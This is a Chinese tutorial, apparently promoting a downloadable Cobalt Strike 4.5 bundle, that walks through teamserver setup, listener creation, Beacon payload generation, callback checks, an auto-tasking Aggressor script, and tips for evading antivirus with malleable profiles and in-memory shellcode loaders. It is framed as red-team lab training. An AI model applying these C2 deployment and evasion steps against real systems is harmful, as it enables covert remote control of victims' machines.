Cobalt Strike 4.5从部署到Beacon上线的完整指南
简介这是一份Cobalt Strike 4.5完整工具包面向红队、渗透测试与安全运维人员用于模拟真实攻击中的主机上线、权限提升、凭据导出、端口转发及钓鱼攻击等后渗透场景。压缩包共27个文件整体大小49.12MB核心组件涵盖Windows/Linux启动脚本、Java客户端JAR包、teamserver服务端及DLL插件另有中文汉化批处理与VBS脚本便于快速部署附带的两份PDF用户指南覆盖4.5与4.6版本可辅助新手理解操作逻辑。资源还提供流量伪装profile配置模板、store密钥及图标资源并集成winvnc远程控制DLL、Mimikatz等第三方工具调用便于开展权限维持与内网横向。已有1573人学习下载适合希望系统掌握CS工具链、搭建实验环境或进行企业安全评估的一线工程师。1. 为什么还要碰 Cobalt Strike 4.5授权测试里它仍是常驻选项Cobalt Strike 4.5 这个版本放在今天看已经不算新但翻过授权渗透测试、攻防演练或者靶场课的从业者大概率都装过它。4.5 是很多老检测规则的假想敌也是不少红队复盘日志里的对照组新版本改监听器类型、改攻击特征之后反而让 4.5 成了最能复现“旧问题”的基准盘。想练工具的人没必要追新先把 4.5 跑通反而更具体。很多新人在搜索“Cobalt Strike 4.5 下载”“项目弹出提示不支持4.5”这类词时并不是缺工具而是卡在版本匹配上JDK 用错、客户端连不上 Teamserver、生成的 payload 一落盘就被杀。这篇就是顺着部署到上线的步骤把参数、命令和能省时间的判断讲清楚。适合人群是刚接触 Cobalt Strike 的测试人员以及在本地或内网靶场里准备搭一套可复现 Beacon 回调环境的红队助手。前提只有一条全程在授权范围或自建靶机里做。2. Cobalt Strike 4.5 运行前的组件与版本判断2.1 Teamserver、客户端、Beacon 三者各自干什么Cobalt Strike 4.5 的架构并不复杂但很多人第一次启动就乱套是因为把三个组件混在一个概念里。它们分别是 Teamserver、客户端、Beacon分工完全不同。组件运行位置作用TeamserverLinux 服务端维护会话、记录日志、转发数据是整套系统的中枢客户端Windows / Linux 本机图形界面连接 Teamserver 后下发操作指令Beacon目标机器由生成物释放后运行主动回连 Teamserver 完成上线关系可以理解成客户端不直接连接目标机器你在界面里敲的命令先发给 Teamserver再由 Teamserver 转给对应的 Beacon。目标机器上的 Beacon 也不认识客户端它只认 Teamserver 的监听端口。这个关系决定了部署顺序先启动 Teamserver再打开客户端连上去最后才生成 Beacon。很多人把客户端打开就以为部署完了结果生成 payload 时找不到监听器就是因为 Teamserver 还没起来或者客户端和 Teamserver 版本不匹配。2.2 JDK 选择为什么 4.5 更倾向 Java 11Cobalt Strike 4.5 的 Teamserver 和客户端都是 Java 程序所以运行前提只有一条机器上有合适的 JDK。这里说的“合适”对 4.5 来说大概率是 Java 11而不是更老的 Java 8。4.x 早期版本确实能在 JDK 8 下跑但到 4.5 这代官方 JAR 是按新版本 javac 编译的拿 JDK 8 强行启动会直接报UnsupportedClassVersionError。很多老教程还停留在apt install default-jdk装完一看是 OpenJDK 8Teamserver 闪退也就是必然了。启动前先确认当前默认版本java -version javac -version如果输出里是openjdk version 1.8.x就需要先装 Java 11。Debian/Ubuntu 系可以这样处理sudo apt update sudo apt install openjdk-11-jdk # 安装后查看是否已经切换 java -version如果机器上已经装了多个 JDK我一般会用update-alternatives --config java手动切到 Java 11或者干脆在启动脚本里写死JAVA_HOME避免之后因为 PATH 顺序问题又翻车。2.3 “项目弹出提示不支持4.5”到底是什么搜索词里经常有人遇到“项目弹出提示不支持4.5”于是以为是 Cobalt Strike 4.5 本身出了问题。实际上这个提示大多数时候来自另一套东西当你把某个用 C# 写的第三方管理工具或插件工程放进 Visual Studio 时IDE 会要求安装“.NET Framework 4.5 目标包”从而弹出版本不支持提示。首先要分清楚Cobalt Strike 4.5 是 Java 程序不是 .NET 程序。它不依赖 .NET Framework 4.5也不需要安装那个目标包。你只要确认拿到的是.jar结尾的程序包并且用java -jar启动即可。判断方法很简单看文件类型.jar是 Java 的标准打包格式再用命令行尝试启动一次能跑起来就说明 Java 环境没问题。如果你确实要用某个 C# 写的辅助工具那才需要在 Visual Studio Installer 的组件列表里勾选“.NET Framework 4.5 目标包”这是给编译器用的不是给 Cobalt Strike 用的。3. Cobalt Strike 4.5 的部署启动命令、参数、首次上线3.1 Linux 端 Teamserver 启动命令与参数拿到 4.5 的压缩包后先别急着双击客户端。在 Linux 机器上找到解压目录确认里面有teamserver文件然后给它执行权限并启动。最小启动命令是这样chmod x teamserver ./teamserver 192.168.1.10 S3curePass_4.5第一个参数是 Teamserver 绑定的 IP 地址第二个参数是客户端连接时需要的密码。注意这个 IP 必须是客户端能够访问到的地址不能写127.0.0.1除非你的客户端和 Teamserver 在同一台机器上。如果想带上 Malleable C2 的流量伪装配置就追加第三个参数./teamserver 192.168.1.10 S3curePass_4.5 /opt/cs45/profiles/webbug.profile这个 profile 文件控制 Beacon 回连时的 HTTP 请求特征比如 User-Agent、URL 路径、响应内容等。4.5 默认特征基本已经被各种检测规则盯死了授权测试里如果希望少被拦一般都会自带 profile。这里第三个参数是可选的不传也能启动只是流量特征比较“教科书”。启动成功后终端会进入前台阻塞状态显示类似Started teamserver version 4.5的日志并且监听50050端口。确认端口的命令是ss -ltn | grep 50050看到LISTEN状态说明 Teamserver 已经起来了。如果启动几秒就退出多半是 JDK 版本问题回上一章看java -version。3.2 Windows 客户端连接java -jar 启动与连接窗口客户端可以放在本机也可以是另一台 Windows 或 Linux 机器。4.5 的客户端在 Windows 上一般通过cobaltstrike.bat启动也可以直接在命令行里手动调用java -XX:AggressiveHeap -XX:UseParallelGC -jar cobaltstrike.jar这两个 JVM 参数值得解释一下-XX:AggressiveHeap让 Java 尽可能多使用可用内存处理大量 Beacon 会话时界面会更流畅-XX:UseParallelGC使用并行垃圾回收器减少长时间运行后的卡顿。在低配虚拟机里跑 4.5这两个参数能明显改善体验。启动后会看到一个连接窗口需要填写五项内容HostTeamserver 的 IP必须与./teamserver启动时绑定的 IP 一致Port默认 50050User你的代号会在协作时显示在用户列表里Password启动 Teamserver 时设置的密码勾选保存配置可选项第一次连接时客户端可能会提示证书不受信任。Teamserver 默认使用的是自签名证书这一点正常在授权测试环境里点击信任即可。如果密码不对会直接弹出 Login failed如果 IP 和 Port 对不上会一直转圈直到超时。3.3 创建第一个 HTTP 监听器与 Beacon 生成客户端连上之后第一件事不是急着生成 payload而是先建监听器。监听器相当于 Teamserver 上的一个服务端点Beacon 会按这个端点配置回连。在图形界面里依次打开Cobalt Strike - Listeners - Add填写监听器名称比如http45Payload 类型选择Beacon HTTP然后在 HTTP Hosts 里填 Teamserver 的 IPHTTP Port 填一个目标机器能访问到的端口比如8080。这里的 Host 和 Port 会写进生成的 Beacon 里目标机器执行 Beacon 后会主动向这个 IP:Port 发起 HTTP 请求。如果目标机器到 Teamserver 的网络不通后面所有操作都白搭。所以我会建议在生成 payload 之前先在目标机器或同等网络环境里手动测一下连通性curl -I http://192.168.1.10:8080/能拿到 HTTP 响应哪怕是 404说明网络链路没问题。404 反而正常因为 Teamserver 对陌生路径不会直接返回 Beacon 内容。接下来生成 Beacon 生成物。在菜单里选Attacks - Packages - Windows ExecutablePayload 选Beacon HTTPListener 选刚才建的http45输出格式按需选择。生成后把它复制到授权目标机器上执行然后回到客户端界面右上角会弹出新的 Beacon 会话。判断上线是否成功的快速检查如下# Teamserver 所在机器上查看 8080 端口连接状态 ss -tnp | grep 8080 # 目标机器上确认 beacon 进程是否存在 ps -ef | grep beacon只要端口出现来自目标机器 IP 的连接客户端 Events 面板也有新会话记录说明从部署到上线的完整链路已经通了。4. Cobalt Strike 4.5 的避坑清单5 个高频问题与排查路径4.1 Teamserver 闪退或报 Class version 不支持JDK 版本不匹配现象运行./teamserver后终端几秒内输出一大段堆栈核心错误是UnsupportedClassVersionError日志里出现类似class file version 55.0的字样。原因4.5 的 jar 是按 Java 11 编译的而系统默认 JDK 还是 8。class file version 55.0 对应 Java 11JDK 8 只能读到 52.0。解决先执行java -version确认再安装 JDK 11。多版本并存时不要只改JAVA_HOME要看teamserver脚本里调用的java命令是否来自 JDK 11。最稳妥的做法是把 JDK 11 的 bin 目录放到 PATH 最前面或者直接修改启动脚本中的JAVA变量指向全路径。4.2 客户端连不上 Teamserver端口、防火墙、证书三件套现象客户端连接窗口点了 Connect一直转圈最后提示Connection refused或Connection timed out。原因最常见的是 Teamserver 没起来其次是防火墙没放行 50050还有可能是填的 IP 不对。云服务器上还要额外看安全组是否允许入站。解决先在 Teamserver 本机用ss -ltn | grep 50050确认监听存在再从客户端机器上执行telnet Teamserver IP 50050测连通性。超时就是网络隔离或防火墙问题立即拒绝通常是服务没起或 IP 写错。证书弹窗直接信任即可4.5 默认就是自签名证书。4.3 生成的 Payload 一落盘就被杀老版本特征太扎眼现象生成好的 exe 还在本机就被杀软隔离或者复制到靶机执行后进程刚启动就消失。原因4.5 的默认 Beacon 生成物特征已经被各大安全产品收录杀软不看你是否授权只看文件签名和行为。解决不要指望改文件名能绕过。常见做法是给 Beacon 套一个 Malleable C2 Profile改变网络流量特征或者用 Shellcode 配合自写的加载器在内存中执行再就是把测试机器加入杀软白名单。以 4.5 的默认形态做演练本身就是奔着暴露特征去的想要落地成功必须做二次处理。4.4 项目弹出“不支持 4.5”提示别把 Java 程序和 .NET 工具混为一谈现象下载了一个标注为 Cobalt Strike 4.5 的整合包打开里面的某个源码工程Visual Studio 提示项目不支持 .NET Framework 4.5于是以为 Cobalt Strike 4.5 装不上了。原因这个工程是 C# 编写的第三方工具它依赖 .NET Framework 4.5 目标包才能编译而 Cobalt Strike 4.5 本体是 Java 程序两者完全独立。解决如果只是运行 Cobalt Strike 4.5不安装 .NET Framework 4.5 目标包也没关系。如果确实要编译 C# 加载器或辅助工具去 Visual Studio Installer 里勾选“.NET Framework 4.5 目标包”后再重编译。以后再看到类似提示先看清楚是.jar还是.csproj。4.5 Beacon 上线后秒断或命令回显慢回调链路不完整现象客户端确实弹出了 Beacon 会话但几秒后显示 exit或者执行命令要等很久才返回。原因Beacon 默认 sleep 间隔较长而目标机器到 Teamserver 的网络本身就不稳定如果监听器配了 HTTP 但目标网络只放行了 HTTPS也会导致回连失败。多网卡机器上Teamserver 绑定的 IP 可能和目标机器路由不一致回包丢失。解决先用sleep 5缩短 Beacon 的回连间隔观察是否改善在目标机器上用curl -I直连监听器地址确认网络路径可用把监听器从 HTTP 换成 HTTPS 时还要确认证书和端口都正确。一次次怀疑工具本身之前先把链路一截一截测通。5. 把 4.5 用出价值验证一套可复现的 Beacon 回调流程5.1 用一个小脚本自动记录会话上线4.5 自带的 Aggressor 脚本机制很适合做自动化验证不必每次上线都手动盯 Events 面板。我在本地复现回调流程时通常会挂一个极简脚本on beacon_initial { println(Beacon online, id . $1); task($1, shell whoami); }beacon_initial事件在每一个新 Beacon 会话建立时触发$1是会话的唯一 ID。println把日志打到客户端控制台task则是给该会话下发一条命令这里用shell whoami快速确认会话可执行命令。加载方式是客户端菜单Scripts - Load选中这个.cna文件。这个脚本不解决复杂需求但只要跑通就能证明从生成 Beacon、执行上线、Teamserver 接收到命令回显的整条链路可用。5.2 验证回调成功的三个观察点一个会话从落地到完全可用至少要满足三个条件只看客户端弹窗还不够。我每次都会做这样一份确认观察点命令或位置正常表现Teamserver 端口连接ss -tnp | grep 8080出现目标机器 IP 发起的 ESTAB 状态连接客户端会话状态Cobalt Strike 界面 Sessions 面板Beacon 出现且未标记为 exit命令回显shell whoami返回结果返回目标机器的用户名或系统信息这三项都通过才叫真的上线。很多次排查到最后问题都出在“客户端弹了一个会话但命令跑不通”这种半通状态上。5.3 收尾清理残留与归档配置实验做完我不会直接关掉客户端。先把监听器停止再把靶机上的生成物清理干净最后关掉 Teamserver确认端口释放pkill -f teamserver ss -ltn | grep 50050确认没有残留监听后把当次的 C2 Profile、监听器截图、脚本文件按日期归档。老版本工具的参数玄学不少隔一个月回看记录能少踩一半坑。Cobalt Strike 4.5 不是最新版但它足够稳定也足够适合从头验证一套 Beacon 回调流程。按这个顺序部署一遍后面的监听器扩展、profile 定制和脚本开发就都有了可靠土壤。希望帮到你。本文还有配套的精品资源点击获取